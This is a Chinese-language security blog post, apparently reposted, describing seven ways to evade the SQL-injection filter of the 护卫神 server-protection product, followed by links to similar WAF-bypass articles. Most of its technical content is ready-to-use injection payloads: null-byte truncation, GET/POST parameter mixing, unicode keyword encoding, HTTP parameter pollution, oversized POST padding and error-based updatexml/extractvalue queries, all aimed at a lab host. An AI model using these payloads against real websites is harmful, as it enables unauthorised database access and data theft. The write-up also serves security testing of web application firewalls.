Bypass 护卫神SQL注入防御(多姿势)
0x00 前言
护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。
这边主要分享一下几种思路,Bypass 护卫神SQL注入防御。
0x01 环境搭建
护卫神官网:http://www.huweishen.com
软件版本:护卫神·入侵防护系统 V3.8.1 最新版本
下载地址:http://down.huweishen.com/hws.zip
测试环境:IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL
0x02 WAF测试
护卫神SQL防注入的规则几年了基本都没有什么变化,先来一张拦截测试图:
姿势一:%00截断
%00截断是上传漏洞中常用的一个非常经典的姿势,在SQL注入中,也可以用来Bypass。
在WAF层,接收参数id后,遇到%00截断,只获取到 id=1,无法获取到后面的有害参数输入;
在ASPX+MSSQL中,支持%00来代替空白字符,构造的SQL语句得以成功执行,获取数据。
http://192.168.204.132/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
在PHP+Mysql中,可以用
/*%00*/
,同样可以进行Bypass。
/sql.php?id=1/*%00*/union select 1,schema_name,3 from information_schema.schemata
姿势二:GET+POST
当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
在IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL 均适用。
http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns
POST:aaa
姿势三:unicode编码
IIS服务器支持对于unicode的解析,对关键词进行unicode编码绕过。
http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns
姿势四:ASPX+HPP
在ASPX中,有一个比较特殊的HPP特性,当GET/POST/COOKIE同时提交的参数id,服务端接收参数id的顺序GET,POST,COOKIE,中间通过逗号链接 。
UNION、SELECT、两个关键字拆分放在GET/POST的位置,通过ASPX的这个特性连起来,姿势利用有点局限,分享一下Bypass思路。
http://192.168.204.132/sql.aspx?id=1 and 1=2 union/*
POST:id=*/select 1,column_name,3 from information_schema.columns
姿势五:ASP %特性
在IIS+ASP中,当我们输入un%ion,解析的时候会去掉%号,服务端接收的参数是union。
http://192.168.204.132/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.columns
姿势六:缓冲区溢出
在PHP+Mysql中,使用POST 大包溢出的思路可成功Bypass。
http://192.168.204.132/sql.php
POST:id=1 and (select 1)=(Select 0xA*49099) union select 1,schema_name,3 from information_schema.SCHEMATA
编写一个简单的Python脚本,当A的个数填充到49099时,可成功Bypass。
姿势七:黑名单绕过
护士神SQL防注入,采用的是黑名单过滤,关键字并不全,比如只过滤union select,select from却放过了,那么这里就存在很多种绕过的形式。
基本上报错注入、盲注、延迟注入都可以很轻易Bypass,这时候直接利用SQLMAP,指定注入方式来获取数据。
?id=1 or (select 1 from (select count(),concat((concat(0x5e5e21,@@version,0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
0x03 END
总结了几种IIS下SQL注入 Bypass的思路,在实战中也很常见。
本文由Bypass原创发布,原文链接:https://www.cnblogs.com/xiaozi/p/9138160.html 欢迎分享本文,转载请保留出处。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
Bypass 护卫神SQL注入防御(多姿势)的更多相关文章
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- Bypass X-WAF SQL注入防御(多姿势)
0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...
- Bypass D盾_IIS防火墙SQL注入防御(多姿势)
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
- 22. Bypass X-WAF SQL注入防御(多姿势)
0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. 0x0 ...
- 21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)
D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防 ...
- 15. Bypass 360主机卫士SQL注入防御(多姿势)
在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...
- 网站SQL注入防御实战
SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的sc ...
随机推荐
- TP Rate ,FP Rate, Precision, Recall, F-Measure, ROC Area,
TP Rate ,FP Rate, Precision, Recall, F-Measure, ROC Area, https://www.zhihu.com/question/30643044 T/ ...
- 如何以Java实现网页截图技术
转自 http://blog.csdn.net/cping1982/article/details/5353049 今天看到某网友关于“如何以Java实现网页截图技术”的咨询帖,由于出现该咨询的地 ...
- SpagoBI 教程 Lesson 4: BIRT Reports
SpagoBI Lesson 4: BIRT Reports BIRT BIRT is the acronym for Business Intelligence and Reporting Tool ...
- (笔记)Linux下system()函数的深度理解(整理)
注:从其它地方转的非常好的一篇文章,值得深究! 这几天调程序(嵌入式linux),发现程序有时就莫名其妙的死掉,每次都定位在程序中不同的system()函数,直接在shell下输入system()函数 ...
- com.alibaba.dubbo.rpc.RpcException: Failed to invoke the method
查看了网友们的错误原因, 需要进行实例化的类没有进行实例化,具体没有实例化的类会在错误信息中显示,在错误信息中搜索“Serializable”即可找到将其实现序列化可消除错误. 是在使用Dubbo提供 ...
- SqlServer 数据库引擎优化顾问优化数据库
现在一直在做的项目,数据量相对也不小,开始的时候没有觉得,因为是刚开始,数据量还很小,在程序使用过程中速度还挺快,但是随着数据量的不停的增长,发现程序越来越慢,甚至出现了超时的问题,因此要对程序和数据 ...
- Xianfeng轻量级Java中间件平台:基于RBAC模型实现权限控制的原理
首先,白话一下RBAC模型.RBAC是基于角色的访问控制(Role-Based Access Control)的简称.RBAC认为权限授权实际上是Who.What.How的问题.在RBAC模型中,wh ...
- 【苏勇老师Linux 入门笔记】网络基础
IP 地址 IP 编制时一个双层编制方案,一个 IP 地址标示一个主机 (或一个网卡接口). 一个 IP 地址分为两个部分:网络部分(所属区域)和主机部分(标示区域中的哪个主机).IPv4 共32位, ...
- js 模拟鼠标事件
<!DOCTYPE html> <html> <head lang="zh-CN"> <meta charset="UTF-8& ...
- iOS: 动态更改 backBarButtonItem 的 title
先来看一下 UIBarItem 的 title 的描述 The title displayed on the item. You should set this property before add ...